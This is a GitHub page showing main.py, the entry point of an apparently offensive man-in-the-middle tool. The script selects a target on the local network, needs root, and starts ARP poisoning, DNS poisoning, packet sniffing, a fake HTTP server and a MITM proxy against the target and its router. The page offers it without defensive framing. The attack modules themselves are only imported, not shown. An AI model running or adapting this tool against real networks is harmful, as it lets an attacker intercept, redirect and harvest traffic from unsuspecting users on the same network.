-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
111 lines (87 loc) · 3.84 KB
/
Copy pathmain.py
File metadata and controls
111 lines (87 loc) · 3.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python3
import argparse
import os
import sys
import time
from queue import Queue
from arp_poisoning import start_arp_poisoning
from http_server import start_http_server_thread
from packet_analysis import start_sniffer_thread
from dns_poisoning import start_dns_poisoning
from mitm_proxy import start_mitm_proxy_thread
from colorama import init, Fore
from input_data import get_target_to_attack, get_router_ip
from utils import run_configuration_commands, run_restoring_commands, start_printer_thread
from modern_gui import start_gui
init()
GREEN = Fore.GREEN
RED = Fore.RED
RESET = Fore.RESET
def initialize_program(interface_pc, mac_address, ip_address, router_ip, verbosity, local_printing_queue):
original_tokens_list = []
if router_ip is None:
router_ip = get_router_ip()
run_configuration_commands(router_ip)
# getting targeted device
if ip_address is not None:
targeted_ip = ip_address
else:
targeted_device = get_target_to_attack(mac_address, ip_address)
targeted_ip = targeted_device['ip']
# starting core threads
arp_poisoning_token = start_arp_poisoning(interface_pc, targeted_ip, router_ip, local_printing_queue, verbosity)
sniffer_thread_token = start_sniffer_thread(interface_pc, targeted_ip, router_ip, local_printing_queue,verbosity)
dns_poisoning_token = start_dns_poisoning(interface_pc, targeted_ip, router_ip, local_printing_queue, verbosity)
http_server_token = start_http_server_thread(interface_pc, local_printing_queue, verbosity)
mitm_proxy_token = start_mitm_proxy_thread(local_printing_queue, verbosity)
# creating list with cancellation tokens
original_tokens_list.append(sniffer_thread_token)
original_tokens_list.append(http_server_token)
original_tokens_list.append(arp_poisoning_token)
original_tokens_list.append(dns_poisoning_token)
original_tokens_list.append(mitm_proxy_token)
return original_tokens_list
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--interface', default="wlan0")
parser.add_argument('-m', '--mac_address')
parser.add_argument('-t', "--target_ip")
parser.add_argument('-r', '--router_ip')
parser.add_argument('-v', '--verbosity', default=1)
parser.add_argument('-g', '--gui', default=0)
# parser.add_argument('-n', '--no-http')
args = parser.parse_args()
if os.getuid() != 0:
print("[-] Run again with sudo privileges")
exit(1)
printing_queue = Queue()
time.sleep(1)
if int(args.gui):
printing_thread_token = start_printer_thread(printing_queue)
start_gui(args.interface, args.mac_address, args.target_ip, args.router_ip,
int(args.verbosity),
printing_queue)
else:
printing_thread_token = start_printer_thread(printing_queue)
tokens_list = initialize_program(args.interface, args.mac_address, args.target_ip, args.router_ip,
int(args.verbosity),
printing_queue)
while True:
command = input()
match command:
case "help":
printing_queue.put('''
this is help''')
case "stop":
for token in tokens_list:
token.set()
case "exit":
for token in tokens_list:
token.set()
printing_thread_token.set()
time.sleep(5)
run_restoring_commands()
print(f"{GREEN}==============Everything stopped=============={RESET}")
sys.exit(0)
case _:
printing_queue.put(f"{RED}[-]Not correct command{RESET}")